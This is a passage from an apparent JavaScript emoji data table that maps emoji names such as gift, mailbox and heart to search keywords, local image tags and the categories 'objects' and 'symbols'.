    category: "objects"
  },
  parasol_on_ground: {
    keywords: [ "weather", "summer" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u26f1" src="26f1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  moyai: {
    keywords: [ "rock", "easter island", "moai" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddff" src="1f5ff.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  shopping: {
    keywords: [ "mall", "buy", "purchase" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udecd" src="1f6cd.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  shopping_cart: {
    keywords: [ "trolley" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uded2" src="1f6d2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  balloon: {
    keywords: [ "party", "celebration", "birthday", "circus" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf88" src="1f388.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  flags: {
    keywords: [ "fish", "japanese", "koinobori", "carp", "banner" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8f" src="1f38f.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  ribbon: {
    keywords: [ "decoration", "pink", "girl", "bowtie" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf80" src="1f380.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  gift: {
    keywords: [ "present", "birthday", "christmas", "xmas" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf81" src="1f381.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  confetti_ball: {
    keywords: [ "festival", "party", "birthday", "circus" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8a" src="1f38a.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  tada: {
    keywords: [ "party", "congratulations", "birthday", "magic", "circus", "celebration" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf89" src="1f389.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  dolls: {
    keywords: [ "japanese", "toy", "kimono" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8e" src="1f38e.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  wind_chime: {
    keywords: [ "nature", "ding", "spring", "bell" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf90" src="1f390.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  crossed_flags: {
    keywords: [ "japanese", "nation", "country", "border" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udf8c" src="1f38c.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  izakaya_lantern: {
    keywords: [ "light", "paper", "halloween", "spooky" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udfee" src="1f3ee.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  red_envelope: {
    keywords: [ "gift" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde7" src="1f9e7.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  email: {
    keywords: [ "letter", "postal", "inbox", "communication" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2709\ufe0f" src="2709.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  envelope_with_arrow: {
    keywords: [ "email", "communication" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce9" src="1f4e9.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  incoming_envelope: {
    keywords: [ "email", "inbox" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce8" src="1f4e8.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  "e-mail": {
    keywords: [ "communication", "inbox" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce7" src="1f4e7.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  love_letter: {
    keywords: [ "email", "like", "affection", "envelope", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc8c" src="1f48c.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  postbox: {
    keywords: [ "email", "letter", "envelope" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcee" src="1f4ee.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  mailbox_closed: {
    keywords: [ "email", "communication", "inbox" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcea" src="1f4ea.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  mailbox: {
    keywords: [ "email", "inbox", "communication" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udceb" src="1f4eb.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  mailbox_with_mail: {
    keywords: [ "email", "inbox", "communication" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcec" src="1f4ec.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  mailbox_with_no_mail: {
    keywords: [ "email", "inbox" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udced" src="1f4ed.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  package: {
    keywords: [ "mail", "gift", "cardboard", "box", "moving" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce6" src="1f4e6.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  postal_horn: {
    keywords: [ "instrument", "music" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcef" src="1f4ef.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  inbox_tray: {
    keywords: [ "email", "documents" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce5" src="1f4e5.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  outbox_tray: {
    keywords: [ "inbox", "email" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udce4" src="1f4e4.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  scroll: {
    keywords: [ "documents", "ancient", "history", "paper" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcdc" src="1f4dc.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  page_with_curl: {
    keywords: [ "documents", "office", "paper" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc3" src="1f4c3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  bookmark_tabs: {
    keywords: [ "favorite", "save", "order", "tidy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd1" src="1f4d1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  receipt: {
    keywords: [ "accounting", "expenses" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddfe" src="1f9fe.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  bar_chart: {
    keywords: [ "graph", "presentation", "stats" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcca" src="1f4ca.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  chart_with_upwards_trend: {
    keywords: [ "graph", "presentation", "stats", "recovery", "business", "economics", "money", "sales", "good", "success" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc8" src="1f4c8.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  chart_with_downwards_trend: {
    keywords: [ "graph", "presentation", "stats", "recession", "business", "economics", "money", "sales", "bad", "failure" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc9" src="1f4c9.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  page_facing_up: {
    keywords: [ "documents", "office", "paper", "information" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc4" src="1f4c4.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  date: {
    keywords: [ "calendar", "schedule" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc5" src="1f4c5.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  calendar: {
    keywords: [ "schedule", "date", "planning" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc6" src="1f4c6.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  spiral_calendar: {
    keywords: [ "date", "schedule", "planning" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddd3" src="1f5d3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  card_index: {
    keywords: [ "business", "stationery" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc7" src="1f4c7.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  card_file_box: {
    keywords: [ "business", "stationery" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddc3" src="1f5c3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  ballot_box: {
    keywords: [ "election", "vote" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddf3" src="1f5f3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  file_cabinet: {
    keywords: [ "filing", "organizing" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddc4" src="1f5c4.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  clipboard: {
    keywords: [ "stationery", "documents" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udccb" src="1f4cb.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  spiral_notepad: {
    keywords: [ "memo", "stationery" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddd2" src="1f5d2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  file_folder: {
    keywords: [ "documents", "business", "office" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc1" src="1f4c1.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  open_file_folder: {
    keywords: [ "documents", "load" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcc2" src="1f4c2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  card_index_dividers: {
    keywords: [ "organizing", "business", "stationery" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddc2" src="1f5c2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  newspaper_roll: {
    keywords: [ "press", "headline" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\uddde" src="1f5de.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  newspaper: {
    keywords: [ "press", "headline" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcf0" src="1f4f0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  notebook: {
    keywords: [ "stationery", "record", "notes", "paper", "study" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd3" src="1f4d3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  closed_book: {
    keywords: [ "read", "library", "knowledge", "textbook", "learn" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd5" src="1f4d5.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  green_book: {
    keywords: [ "read", "library", "knowledge", "study" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd7" src="1f4d7.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  blue_book: {
    keywords: [ "read", "library", "knowledge", "learn", "study" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd8" src="1f4d8.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  orange_book: {
    keywords: [ "read", "library", "knowledge", "textbook", "study" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd9" src="1f4d9.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  notebook_with_decorative_cover: {
    keywords: [ "classroom", "notes", "record", "paper", "study" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd4" src="1f4d4.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  ledger: {
    keywords: [ "notes", "paper" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd2" src="1f4d2.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  books: {
    keywords: [ "literature", "library", "study" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcda" src="1f4da.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  open_book: {
    keywords: [ "book", "read", "library", "knowledge", "literature", "learn", "study" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd6" src="1f4d6.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  safety_pin: {
    keywords: [ "diaper" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddf7" src="1f9f7.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  link: {
    keywords: [ "rings", "url" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd17" src="1f517.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  paperclip: {
    keywords: [ "documents", "stationery" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcce" src="1f4ce.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  paperclips: {
    keywords: [ "documents", "stationery" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd87" src="1f587.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  scissors: {
    keywords: [ "stationery", "cut" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2702\ufe0f" src="2702.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  triangular_ruler: {
    keywords: [ "stationery", "math", "architect", "sketch" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcd0" src="1f4d0.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  straight_ruler: {
    keywords: [ "stationery", "calculate", "length", "math", "school", "drawing", "architect", "sketch" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udccf" src="1f4cf.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  abacus: {
    keywords: [ "calculation" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\uddee" src="1f9ee.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  pushpin: {
    keywords: [ "stationery", "mark", "here" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udccc" src="1f4cc.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  round_pushpin: {
    keywords: [ "stationery", "location", "map", "here" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udccd" src="1f4cd.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  triangular_flag_on_post: {
    keywords: [ "mark", "milestone", "place" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udea9" src="1f6a9.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  white_flag: {
    keywords: [ "losing", "loser", "lost", "surrender", "give up", "fail" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff3" src="1f3f3.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  black_flag: {
    keywords: [ "pirate" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff4" src="1f3f4.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  rainbow_flag: {
    keywords: [ "flag", "rainbow", "pride", "gay", "lgbt", "glbt", "queer", "homosexual", "lesbian", "bisexual", "transgender" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83c\udff3\ufe0f\u200d\ud83c\udf08" src="1f3f3-fe0f-200d-1f308.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  closed_lock_with_key: {
    keywords: [ "security", "privacy" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd10" src="1f510.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  lock: {
    keywords: [ "security", "password", "padlock" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd12" src="1f512.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  unlock: {
    keywords: [ "privacy", "security" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd13" src="1f513.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  lock_with_ink_pen: {
    keywords: [ "security", "secret" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0f" src="1f50f.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  pen: {
    keywords: [ "stationery", "writing", "write" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd8a" src="1f58a.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  fountain_pen: {
    keywords: [ "stationery", "writing", "write" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd8b" src="1f58b.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  black_nib: {
    keywords: [ "pen", "stationery", "writing", "write" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2712\ufe0f" src="2712.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  memo: {
    keywords: [ "write", "documents", "stationery", "pencil", "paper", "writing", "legal", "exam", "quiz", "test", "study", "compose" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udcdd" src="1f4dd.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  pencil2: {
    keywords: [ "stationery", "write", "paper", "writing", "school", "study" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u270f\ufe0f" src="270f.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  crayon: {
    keywords: [ "drawing", "creativity" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd8d" src="1f58d.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  paintbrush: {
    keywords: [ "drawing", "creativity", "art" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd8c" src="1f58c.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  mag: {
    keywords: [ "search", "zoom", "find", "detective" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0d" src="1f50d.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  mag_right: {
    keywords: [ "search", "zoom", "find", "detective" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udd0e" src="1f50e.png"/>',
    fitzpatrick_scale: false,
    category: "objects"
  },
  heart: {
    keywords: [ "love", "like", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2764\ufe0f" src="2764.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  orange_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83e\udde1" src="1f9e1.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  yellow_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9b" src="1f49b.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  green_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9a" src="1f49a.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  blue_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc99" src="1f499.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  purple_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9c" src="1f49c.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  black_heart: {
    keywords: [ "evil" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udda4" src="1f5a4.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  broken_heart: {
    keywords: [ "sad", "sorry", "break", "heart", "heartbreak" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc94" src="1f494.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heavy_heart_exclamation: {
    keywords: [ "decoration", "love" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\u2763" src="2763.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  two_hearts: {
    keywords: [ "love", "like", "affection", "valentines", "heart" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc95" src="1f495.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  revolving_hearts: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9e" src="1f49e.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heartbeat: {
    keywords: [ "love", "like", "affection", "valentines", "pink", "heart" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc93" src="1f493.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  heartpulse: {
    keywords: [ "like", "love", "affection", "valentines", "pink" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc97" src="1f497.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  sparkling_heart: {
    keywords: [ "love", "like", "affection", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc96" src="1f496.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  cupid: {
    keywords: [ "love", "like", "heart", "affection", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc98" src="1f498.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
  gift_heart: {
    keywords: [ "love", "valentines" ],
    char: '<img data-emoticon="true" style="width:1em;height:1em;margin:0 .05em 0 .1em;vertical-align:-.1em" draggable="false" alt="\ud83d\udc9d" src="1f49d.png"/>',
    fitzpatrick_scale: false,
    category: "symbols"
  },
